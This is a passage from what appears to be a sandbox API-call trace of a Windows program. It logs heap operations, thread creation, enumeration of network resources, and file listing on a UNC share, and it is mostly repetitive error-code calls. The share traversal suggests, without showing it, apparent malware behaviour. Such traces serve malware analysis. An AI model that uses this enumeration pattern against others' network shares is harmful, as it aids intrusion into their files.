dwFlags=0x0, lpMem=0x31c1f8 | out: hHeap=0xb00000) returned 1 [0037.067] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb050e0 | out: hHeap=0xb00000) returned 1 [0037.067] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb057c0 | out: hHeap=0xb00000) returned 1 [0037.067] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05098 | out: hHeap=0xb00000) returned 1 [0037.067] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05848 | out: hHeap=0xb00000) returned 1 [0037.068] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb050c8 | out: hHeap=0xb00000) returned 1 [0037.068] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x31c0e8 | out: hHeap=0xb00000) returned 1 [0037.068] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb050b0 | out: hHeap=0xb00000) returned 1 [0037.068] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05960 | out: hHeap=0xb00000) returned 1 [0037.068] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb050f8 | out: hHeap=0xb00000) returned 1 [0037.069] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x31c058 | out: hHeap=0xb00000) returned 1 [0037.069] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05110 | out: hHeap=0xb00000) returned 1 [0037.069] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f48 | out: hHeap=0xb00000) returned 1 [0037.069] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05038 | out: hHeap=0xb00000) returned 1 [0037.069] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070c8 | out: hHeap=0xb00000) returned 1 [0037.069] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05068 | out: hHeap=0xb00000) returned 1 [0037.069] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x307040 | out: hHeap=0xb00000) returned 1 [0037.069] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05050 | out: hHeap=0xb00000) returned 1 [0037.069] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb053d8 | out: hHeap=0xb00000) returned 1 [0037.069] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05080 | out: hHeap=0xb00000) returned 1 [0037.070] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb014d0 | out: hHeap=0xb00000) returned 1 [0037.070] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb01500 | out: hHeap=0xb00000) returned 1 [0037.070] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0xa4) returned 0x307040 [0037.070] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05008 | out: hHeap=0xb00000) returned 1 [0037.070] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb04fd8 | out: hHeap=0xb00000) returned 1 [0037.070] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0037.071] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb04ff0 | out: hHeap=0xb00000) returned 1 [0037.071] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x14) returned 0xb014d0 [0037.071] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x3c) returned 0xb014f0 [0037.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb83bdf, lpParameter=0xb014d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0037.072] CloseHandle (hObject=0x140) returned 1 [0037.072] WNetEnumResourceW (in: hEnum=0x738208, lpcCount=0xacfb04, lpBuffer=0x307f40, lpBufferSize=0xacfb10 | out: lpcCount=0xacfb04, lpBuffer=0x307f40, lpBufferSize=0xacfb10) returned 0x103 [0037.072] WNetCloseEnum (hEnum=0x738208) returned 0x0 [0037.073] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x307f40 | out: hHeap=0xb00000) returned 1 [0037.074] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x30bf48 | out: hHeap=0xb00000) returned 1 [0037.074] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x4000) returned 0x307f40 [0037.074] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x30bf48 [0037.074] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xacfaf4 | out: lphEnum=0xacfaf4*=0x73b158) returned 0x0 [0037.074] WNetEnumResourceW (in: hEnum=0x73b158, lpcCount=0xacfaec, lpBuffer=0x307f40, lpBufferSize=0xacfaf8 | out: lpcCount=0xacfaec, lpBuffer=0x307f40, lpBufferSize=0xacfaf8) returned 0x0 [0037.075] GetLastError () returned 0x103 [0037.075] SetLastError (dwErrCode=0x103) [0037.075] GetLastError () returned 0x103 [0037.075] SetLastError (dwErrCode=0x103) [0037.075] GetLastError () returned 0x103 [0037.075] SetLastError (dwErrCode=0x103) [0037.075] GetLastError () returned 0x103 [0037.075] SetLastError (dwErrCode=0x103) [0037.075] GetLastError () returned 0x103 [0037.075] SetLastError (dwErrCode=0x103) [0037.075] GetLastError () returned 0x103 [0037.075] SetLastError (dwErrCode=0x103) [0037.075] GetLastError () returned 0x103 [0037.076] SetLastError (dwErrCode=0x103) [0037.076] GetLastError () returned 0x103 [0037.076] SetLastError (dwErrCode=0x103) [0037.076] GetLastError () returned 0x103 [0037.076] SetLastError (dwErrCode=0x103) [0037.076] GetLastError () returned 0x103 [0037.076] SetLastError (dwErrCode=0x103) [0037.076] GetLastError () returned 0x103 [0037.076] SetLastError (dwErrCode=0x103) [0037.076] GetLastError () returned 0x103 [0037.076] SetLastError (dwErrCode=0x103) [0037.076] GetLastError () returned 0x103 [0037.076] SetLastError (dwErrCode=0x103) [0037.076] GetLastError () returned 0x103 [0037.076] SetLastError (dwErrCode=0x103) [0037.076] GetLastError () returned 0x103 [0037.076] SetLastError (dwErrCode=0x103) [0037.076] GetLastError () returned 0x103 [0037.076] SetLastError (dwErrCode=0x103) [0037.076] GetLastError () returned 0x103 [0037.076] SetLastError (dwErrCode=0x103) [0037.076] GetLastError () returned 0x103 [0037.076] SetLastError (dwErrCode=0x103) [0037.077] GetLastError () returned 0x103 [0037.077] SetLastError (dwErrCode=0x103) [0037.077] GetLastError () returned 0x103 [0037.077] SetLastError (dwErrCode=0x103) [0037.077] GetLastError () returned 0x103 [0037.077] SetLastError (dwErrCode=0x103) [0037.077] GetLastError () returned 0x103 [0037.077] SetLastError (dwErrCode=0x103) [0037.077] GetLastError () returned 0x103 [0037.077] SetLastError (dwErrCode=0x103) [0037.077] GetLastError () returned 0x103 [0037.077] SetLastError (dwErrCode=0x103) [0037.077] GetLastError () returned 0x103 [0037.077] SetLastError (dwErrCode=0x103) [0037.077] GetLastError () returned 0x103 [0037.077] SetLastError (dwErrCode=0x103) [0037.077] GetLastError () returned 0x103 [0037.077] SetLastError (dwErrCode=0x103) [0037.077] GetLastError () returned 0x103 [0037.077] SetLastError (dwErrCode=0x103) [0037.077] GetLastError () returned 0x103 [0037.078] SetLastError (dwErrCode=0x103) [0037.078] GetLastError () returned 0x103 [0037.078] SetLastError (dwErrCode=0x103) [0037.078] GetLastError () returned 0x103 [0037.078] SetLastError (dwErrCode=0x103) [0037.078] GetLastError () returned 0x103 [0037.078] SetLastError (dwErrCode=0x103) [0037.078] GetLastError () returned 0x103 [0037.078] SetLastError (dwErrCode=0x103) [0037.078] GetLastError () returned 0x103 [0037.078] SetLastError (dwErrCode=0x103) [0037.078] GetLastError () returned 0x103 [0037.078] SetLastError (dwErrCode=0x103) [0037.078] GetLastError () returned 0x103 [0037.078] SetLastError (dwErrCode=0x103) [0037.078] GetLastError () returned 0x103 [0037.078] SetLastError (dwErrCode=0x103) [0037.095] GetLastError () returned 0x103 [0037.095] SetLastError (dwErrCode=0x103) [0037.095] WNetEnumResourceW (in: hEnum=0x73b158, lpcCount=0xacfaec, lpBuffer=0x307f40, lpBufferSize=0xacfaf8 | out: lpcCount=0xacfaec, lpBuffer=0x307f40, lpBufferSize=0xacfaf8) returned 0x103 [0037.095] WNetCloseEnum (hEnum=0x73b158) returned 0x0 [0037.096] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x307f40 | out: hHeap=0xb00000) returned 1 [0037.097] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x30bf48 | out: hHeap=0xb00000) returned 1 [0037.097] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x4000) returned 0x35bf70 [0037.097] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x307f40 [0037.097] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xacfadc | out: lphEnum=0xacfadc*=0x738208) returned 0x0 [0054.228] WNetEnumResourceW (in: hEnum=0x738208, lpcCount=0xacfad4, lpBuffer=0x35bf70, lpBufferSize=0xacfae0 | out: lpcCount=0xacfad4, lpBuffer=0x35bf70, lpBufferSize=0xacfae0) returned 0x0 [0054.229] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x4000) returned 0x3dffb8 [0054.229] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x34bf68 [0054.229] WNetOpenEnumW (dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x35bf70, lphEnum=0xacfa9c) Thread: id = 9 os_tid = 0xeec Thread: id = 10 os_tid = 0xef0 Thread: id = 11 os_tid = 0xef4 [0037.079] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x38) returned 0x3070f0 [0037.079] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x18) returned 0x307130 [0037.080] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x140 [0037.080] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x148 [0037.080] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x14c [0037.080] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x31bf50 [0037.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xb83a08, lpParameter=0x26ef910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150 [0037.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xb83a08, lpParameter=0x26ef910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154 [0037.082] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x32bf58 [0037.082] FindFirstFileW (in: lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\*" (normalized: "\\\\192.168.0.1\\documents\\*"), lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb1cfbf64, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0xb67be4c, ftLastAccessTime.dwHighDateTime=0x1d9300b, ftLastWriteTime.dwLowDateTime=0xb1cfbf64, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x73d5a8 [0039.872] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa583c4d7, ftCreationTime.dwHighDateTime=0x1d828c6, ftLastAccessTime.dwLowDateTime=0x33112c8c, ftLastAccessTime.dwHighDateTime=0x1d8d311, ftLastWriteTime.dwLowDateTime=0xa583c4d7, ftLastWriteTime.dwHighDateTime=0x1d828c6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.872] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd900, dwReserved0=0x0, dwReserved1=0x0, cFileName="4fcfIBg3Ryeoeu27DM.docx", cAlternateFileName="")) returned 1 [0039.872] GetLastError () returned 0x0 [0039.872] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x214) returned 0xb0cc38 [0039.873] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75130000 [0039.873] GetCurrentThreadId () returned 0xef4 [0039.873] SetLastError (dwErrCode=0x0) [0039.873] GetLastError () returned 0x0 [0039.873] SetLastError (dwErrCode=0x0) [0039.873] GetLastError () returned 0x0 [0039.873] SetLastError (dwErrCode=0x0) [0039.873] GetLastError () returned 0x0 [0039.873] SetLastError (dwErrCode=0x0) [0039.873] GetLastError () returned 0x0 [0039.873] SetLastError (dwErrCode=0x0) [0039.873] GetLastError () returned 0x0 [0039.873] SetLastError (dwErrCode=0x0) [0039.873] GetLastError () returned 0x0 [0039.873] SetLastError (dwErrCode=0x0) [0039.873] GetLastError () returned 0x0 [0039.873] SetLastError (dwErrCode=0x0) [0039.874] GetLastError () returned 0x0 [0039.874] SetLastError (dwErrCode=0x0) [0039.874] GetLastError () returned 0x0 [0039.874] SetLastError (dwErrCode=0x0) [0039.874] GetLastError () returned 0x0 [0039.874] SetLastError (dwErrCode=0x0) [0039.874] GetLastError () returned 0x0 [0039.874] SetLastError (dwErrCode=0x0) [0039.874] GetLastError () returned 0x0 [0039.874] SetLastError (dwErrCode=0x0) [0039.874] GetLastError () returned 0x0 [0039.874] SetLastError (dwErrCode=0x0) [0039.874] GetLastError () returned 0x0 [0039.874] SetLastError (dwErrCode=0x0) [0039.874] GetLastError () returned 0x0 [0039.874] SetLastError (dwErrCode=0x0) [0039.874] GetLastError () returned 0x0 [0039.874] SetLastError (dwErrCode=0x0) [0039.874] GetLastError () returned 0x0 [0039.874] SetLastError (dwErrCode=0x0) [0039.874] GetLastError () returned 0x0 [0039.874] SetLastError (dwErrCode=0x0) [0039.874] GetLastError () returned 0x0 [0039.874] SetLastError (dwErrCode=0x0) [0039.875] GetLastError () returned 0x0 [0039.875] SetLastError (dwErrCode=0x0) [0039.875] GetLastError () returned 0x0 [0039.875] SetLastError (dwErrCode=0x0) [0039.875] GetLastError () returned 0x0 [0039.875] SetLastError (dwErrCode=0x0) [0039.875] GetLastError () returned 0x0 [0039.875] SetLastError (dwErrCode=0x0) [0039.875] GetLastError () returned 0x0 [0039.875] SetLastError (dwErrCode=0x0) [0039.875] GetLastError () returned 0x0 [0039.875] SetLastError (dwErrCode=0x0) [0039.875] GetLastError () returned 0x0 [0039.875] SetLastError (dwErrCode=0x0) [0039.875] GetLastError () returned 0x0 [0039.875] SetLastError (dwErrCode=0x0) [0039.875] GetLastError () returned 0x0 [0039.875] SetLastError (dwErrCode=0x0) [0039.875] GetLastError () returned 0x0 [0039.875] SetLastError (dwErrCode=0x0) [0039.875] GetLastError () returned 0x0 [0039.875] SetLastError (dwErrCode=0x0) [0039.875] GetLastError () returned 0x0 [0039.876] SetLastError (dwErrCode=0x0) [0039.876] GetLastError () returned 0x0 [0039.876] SetLastError (dwErrCode=0x0) [0039.876] GetLastError () returned 0x0 [0039.876] SetLastError (dwErrCode=0x0) [0039.876] GetLastError () returned 0x0 [0039.876] SetLastError (dwErrCode=0x0) [0039.876] GetLastError () returned 0x0 [0039.876] SetLastError (dwErrCode=0x0) [0039.876] GetLastError () returned 0x0 [0039.876] SetLastError (dwErrCode=0x0) [0039.876] GetLastError () returned 0x0 [0039.876] SetLastError (dwErrCode=0x0) [0039.876] GetLastError () returned 0x0 [0039.876] SetLastError (dwErrCode=0x0) [0039.876] GetLastError () returned 0x0 [0039.876] SetLastError (dwErrCode=0x0) [0039.876] GetLastError () returned 0x0 [0039.876] SetLastError (dwErrCode=0x0) [0039.876] GetLastError () returned 0x0 [0039.876] SetLastError (dwErrCode=0x0) [0039.876] GetLastError () returned 0x0 [0039.876] SetLastError (dwErrCode=0x0) [0039.876] GetLastError () returned 0x0 [0039.877] SetLastError (dwErrCode=0x0) [0039.877] GetLastError () returned 0x0 [0039.877] SetLastError (dwErrCode=0x0) [0039.877] GetLastError () returned 0x0 [0039.877] SetLastError (dwErrCode=0x0) [0039.877] GetLastError () returned 0x0 [0039.877] SetLastError (dwErrCode=0x0) [0039.877] GetLastError () returned 0x0 [0039.877] SetLastError (dwErrCode=0x0) [0039.877] GetLastError () returned 0x0 [0039.877] SetLastError (dwErrCode=0x0) [0039.877] GetLastError () returned 0x0 [0039.877] SetLastError (dwErrCode=0x0) [0039.877] GetLastError () returned 0x0 [0039.877] SetLastError (dwErrCode=0x0) [0039.877] GetLastError () returned 0x0 [0039.877] SetLastError (dwErrCode=0x0) [0039.877] GetLastError () returned 0x0 [0039.877] SetLastError (dwErrCode=0x0) [0039.877] GetLastError () returned 0x0 [0039.877] SetLastError (dwErrCode=0x0) [0039.877] GetLastError () returned 0x0 [0039.877] SetLastError (dwErrCode=0x0) [0039.877] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.878] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.878] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.878] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.878] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.878] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.878] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.878] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.878] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.878] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.878] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.878] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.878] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.879] GetLastError () returned 0x0 [0039.879] SetLastError (dwErrCode=0x0) [0039.879] GetLastError () returned 0x0 [0039.879] SetLastError (dwErrCode=0x0) [0039.879] GetLastError () returned 0x0 [0039.879] SetLastError (dwErrCode=0x0) [0039.879] GetLastError () returned 0x0 [0039.879] SetLastError (dwErrCode=0x0) [0039.879] GetLastError () returned 0x0 [0039.879] SetLastError (dwErrCode=0x0) [0039.879] GetLastError () returned 0x0 [0039.879] SetLastError (dwErrCode=0x0) [0039.879] GetLastError () returned 0x0 [0039.879] SetLastError (dwErrCode=0x0) [0039.879] GetLastError () returned 0x0 [0039.879] SetLastError (dwErrCode=0x0) [0039.879] GetLastError () returned 0x0 [0039.879] SetLastError (dwErrCode=0x0) [0039.879] GetLastError () returned 0x0 [0039.879] SetLastError (dwErrCode=0x0) [0039.879] GetLastError () returned 0x0 [0039.879] SetLastError (dwErrCode=0x0) [0039.879] GetLastError () returned 0x0 [0039.880] SetLastError (dwErrCode=0x0) [0039.880] GetLastError () returned 0x0 [0039.880] SetLastError (dwErrCode=0x0) [0039.880] GetLastError () returned 0x0 [0039.880] SetLastError (dwErrCode=0x0) [0039.880] GetLastError () returned 0x0 [0039.880] SetLastError (dwErrCode=0x0) [0039.880] GetLastError () returned 0x0 [0039.880] SetLastError (dwErrCode=0x0) [0039.880] GetLastError () returned 0x0 [0039.880] SetLastError (dwErrCode=0x0) [0039.880] GetLastError () returned 0x0 [0039.880] SetLastError (dwErrCode=0x0) [0039.880] GetLastError () returned 0x0 [0039.880] SetLastError (dwErrCode=0x0) [0039.880] GetLastError () returned 0x0 [0039.880] SetLastError (dwErrCode=0x0) [0039.880] GetLastError () returned 0x0 [0039.880] SetLastError (dwErrCode=0x0) [0039.880] GetLastError () returned 0x0 [0039.880] SetLastError (dwErrCode=0x0) [0039.880] GetLastError () returned 0x0 [0039.880] SetLastError (dwErrCode=0x0) [0039.880] GetLastError () returned 0x0 [0039.881] SetLastError (dwErrCode=0x0) [0039.881] GetLastError () returned 0x0 [0039.881] SetLastError (dwErrCode=0x0) [0039.881] GetLastError () returned 0x0 [0039.881] SetLastError (dwErrCode=0x0) [0039.881] GetLastError () returned 0x0 [0039.881] SetLastError (dwErrCode=0x0) [0039.881] GetLastError () returned 0x0 [0039.881] SetLastError (dwErrCode=0x0) [0039.881] GetLastError () returned 0x0 [0039.881] SetLastError (dwErrCode=0x0) [0039.881] GetLastError () returned 0x0 [0039.881] SetLastError (dwErrCode=0x0) [0039.881] GetLastError () returned 0x0 [0039.881] SetLastError (dwErrCode=0x0) [0039.881] GetLastError () returned 0x0 [0039.881] SetLastError (dwErrCode=0x0) [0039.881] GetLastError () returned 0x0 [0039.881] SetLastError (dwErrCode=0x0) [0039.881] GetLastError () returned 0x0 [0039.881] SetLastError (dwErrCode=0x0) [0039.881] GetLastError () returned 0x0 [0039.881] SetLastError (dwErrCode=0x0) [0039.881] GetLastError () returned 0x0 [0039.882] SetLastError (dwErrCode=0x0) [0039.882] GetLastError () returned 0x0 [0039.882] SetLastError (dwErrCode=0x0) [0039.882] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf197, dwReserved0=0x0, dwReserved1=0x0, cFileName="LgQIok5RNh.mp4", cAlternateFileName="")) returned 1 [0039.882] GetLastError () returned 0x0 [0039.882] SetLastError (dwErrCode=0x0) [0039.882] GetLastError () returned 0x0 [0039.882] SetLastError (dwErrCode=0x0) [0039.882] GetLastError () returned 0x0 [0039.882] SetLastError (dwErrCode=0x0) [0039.882] GetLastError () returned 0x0 [0039.882] SetLastError (dwErrCode=0x0) [0039.882] GetLastError () returned 0x0 [0039.882] SetLastError (dwErrCode=0x0) [0039.882] GetLastError () returned 0x0 [0039.882] SetLastError (dwErrCode=0x0) [0039.882] GetLastError () returned 0x0 [0039.882] SetLastError (dwErrCode=0x0) [0039.882] GetLastError () returned 0x0 [0039.882] SetLastError (dwErrCode=0x0) [0039.882] GetLastError () returned 0x0 [0039.882] SetLastError (dwErrCode=0x0) [0039.882] GetLastError () returned 0x0 [0039.883] SetLastError (dwErrCode=0x0) [0039.883] GetLastError () returned 0x0 [0039.883] SetLastError (dwErrCode=0x0) [0039.883] GetLastError () returned 0x0 [0039.883] SetLastError (dwErrCode=0x0) [0039.883] GetLastError () returned 0x0 [0039.883] SetLastError (dwErrCode=0x0) [0039.883] GetLastError () returned 0x0 [0039.883] SetLastError (dwErrCode=0x0) [0039.883] GetLastError () returned 0x0 [0039.883] SetLastError (dwErrCode=0x0) [0039.883] GetLastError () returned 0x0 [0039.883] SetLastError (dwErrCode=0x0) [0039.883] GetLastError () returned 0x0 [0039.883] SetLastError (dwErrCode=0x0) [0039.883] GetLastError () returned 0x0 [0039.883] SetLastError (dwErrCode=0x0) [0039.883] GetLastError () returned 0x0 [0039.883] SetLastError (dwErrCode=0x0) [0039.883] GetLastError () returned 0x0 [0039.883] SetLastError (dwErrCode=0x0) [0039.883] GetLastError () returned 0x0 [0039.883] SetLastError (dwErrCode=0x0) [0039.883] GetLastError () returned 0x0 [0039.884] SetLastError (dwErrCode=0x0) [0039.884] GetLastError () returned 0x0 [0039.884] SetLastError (dwErrCode=0x0) [0039.884] GetLastError () returned 0x0 [0039.884] SetLastError (dwErrCode=0x0) [0039.884] GetLastError () returned 0x0 [0039.884] SetLastError (dwErrCode=0x0) [0039.884] GetLastError () returned 0x0 [0039.884] SetLastError (dwErrCode=0x0) [0039.884] GetLastError () returned 0x0 [0039.884] SetLastError (dwErrCode=0x0) [0039.884] GetLastError () returned 0x0 [0039.884] SetLastError (dwErrCode=0x0) [0039.884] GetLastError () returned 0x0 [0039.884] SetLastError (dwErrCode=0x0) [0039.884] GetLastError () returned 0x0 [0039.884] SetLastError (dwErrCode=0x0) [0039.884] GetLastError () returned 0x0 [0039.884] SetLastError (dwErrCode=0x0) [0039.884] GetLastError () returned 0x0 [0039.884] SetLastError (dwErrCode=0x0) [0039.884] GetLastError () returned 0x0 [0039.885] SetLastError (dwErrCode=0x0) [0039.885] GetLastError () returned 0x0 [0039.885] SetLastError (dwErrCode=0x0) [0039.885] GetLastError () returned 0x0 [0039.885] SetLastError (dwErrCode=0x0) [0039.885] GetLastError () returned 0x0 [0039.885] SetLastError (dwErrCode=0x0) [0039.885] GetLastError () returned 0x0 [0039.885] SetLastError (dwErrCode=0x0) [0039.885] GetLastError () returned 0x0 [0039.885] SetLastError (dwErrCode=0x0) [0039.885] GetLastError () returned 0x0 [0039.885] SetLastError (dwErrCode=0x0) [0039.885] GetLastError () returned 0x0 [0039.885] SetLastError (dwErrCode=0x0) [0039.885] GetLastError () returned 0x0 [0039.885] SetLastError (dwErrCode=0x0) [0039.885] GetLastError () returned 0x0 [0039.885] SetLastError (dwErrCode=0x0) [0039.885] GetLastError () returned 0x0 [0039.885] SetLastError (dwErrCode=0x0) [0039.885] GetLastError () returned 0x0 [0039.885] SetLastError (dwErrCode=0x0) [0039.885] GetLastError () returned 0x0 [0039.886] SetLastError (dwErrCode=0x0) [0039.886] GetLastError () returned 0x0 [0039.886] SetLastError (dwErrCode=0x0) [0039.886] GetLastError () returned 0x0 [0039.886] SetLastError (dwErrCode=0x0) [0039.886] GetLastError () returned 0x0 [0039.886] SetLastError (dwErrCode=0x0) [0039.886] GetLastError () returned 0x0 [0039.886] SetLastError (dwErrCode=0x0) [0039.886] GetLastError () returned 0x0 [0039.886] SetLastError (dwErrCode=0x0) [0039.886] GetLastError () returned 0x0 [0039.886] SetLastError (dwErrCode=0x0) [0039.886] GetLastError () returned 0x0 [0039.886] SetLastError (dwErrCode=0x0) [0039.886] GetLastError () returned 0x0 [0039.886] SetLastError (dwErrCode=0x0) [0039.886] GetLastError () returned 0x0 [0039.886] SetLastError (dwErrCode=0x0) [0039.886] GetLastError () returned 0x0 [0039.886] SetLastError (dwErrCode=0x0) [0039.886] GetLastError () returned 0x0 [0039.887] SetLastError (dwErrCode=0x0) [0039.887] GetLastError () returned 0x0 [0039.887] SetLastError (dwErrCode=0x0) [0039.887] GetLastError () returned 0x0 [0039.887] SetLastError (dwErrCode=0x0) [0039.887] GetLastError () returned 0x0 [0039.887] SetLastError (dwErrCode=0x0) [0039.887] GetLastError () returned 0x0 [0039.887] SetLastError (dwErrCode=0x0) [0039.887] GetLastError () returned 0x0 [0039.887] SetLastError (dwErrCode=0x0) [0039.887] GetLastError () returned 0x0 [0039.887] SetLastError (dwErrCode=0x0) [0039.887] GetLastError () returned 0x0 [0039.887] SetLastError (dwErrCode=0x0) [0039.887] GetLastError () returned 0x0 [0039.887] SetLastError (dwErrCode=0x0) [0039.887] GetLastError () returned 0x0 [0039.887] SetLastError (dwErrCode=0x0) [0039.888] GetLastError () returned 0x0 [0039.888] SetLastError (dwErrCode=0x0) [0039.888] GetLastError () returned 0x0 [0039.888] SetLastError (dwErrCode=0x0) [0039.888] GetLastError () returned 0x0 [0039.888] SetLastError (dwErrCode=0x0) [0039.888] GetLastError () returned 0x0 [0039.888] SetLastError (dwErrCode=0x0) [0039.888] GetLastError () returned 0x0 [0039.888] SetLastError (dwErrCode=0x0) [0039.888] GetLastError () returned 0x0 [0039.888] SetLastError (dwErrCode=0x0) [0039.888] GetLastError () returned 0x0 [0039.888] SetLastError (dwErrCode=0x0) [0039.888] GetLastError () returned 0x0 [0039.888] SetLastError (dwErrCode=0x0) [0039.888] GetLastError () returned 0x0 [0039.888] SetLastError (dwErrCode=0x0) [0039.888] GetLastError () returned 0x0 [0039.888] SetLastError (dwErrCode=0x0) [0039.888] GetLastError () returned 0x0 [0039.888] SetLastError (dwErrCode=0x0) [0039.888] GetLastError () returned 0x0 [0039.889] SetLastError (dwErrCode=0x0) [0039.889] GetLastError () returned 0x0 [0039.889] SetLastError (dwErrCode=0x0) [0039.889] GetLastError () returned 0x0 [0039.889] SetLastError (dwErrCode=0x0) [0039.889] GetLastError () returned 0x0 [0039.889] SetLastError (dwErrCode=0x0) [0039.889] GetLastError () returned 0x0 [0039.889] SetLastError (dwErrCode=0x0) [0039.889] GetLastError () returned 0x0 [0039.889] SetLastError (dwErrCode=0x0) [0039.889] GetLastError () returned 0x0 